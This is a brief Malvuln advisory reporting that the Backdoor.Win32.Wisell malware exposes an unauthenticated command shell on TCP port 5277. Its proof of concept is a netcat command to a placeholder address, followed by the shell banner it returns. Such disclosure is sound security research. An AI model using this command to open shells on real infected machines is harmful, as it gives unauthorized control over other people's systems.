Backdoor.Win32.Wisell Code Execution

Backdoor.Win32.Wisell malware suffers from a code execution vulnerability.

MD5 | 1fccc8182b669a1e4440b5763c9e1a01

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Wisell
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277, third-party attackers who can reach the system can execute OS commands further compromising the already infected system. Sending the exclaimation point character "!" will not only quit the shell, but also effectively terminate the backdoor.
Type: PE32
MD5: eba4ce50a036a196484715f60c8a449b
Vuln ID: MVID-2021-0234
Disclosure: 05/31/2021

nc64.exe x.x.x.x 5277
WinShell v1.0 - '!' to quit, 'enter' to shell...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.


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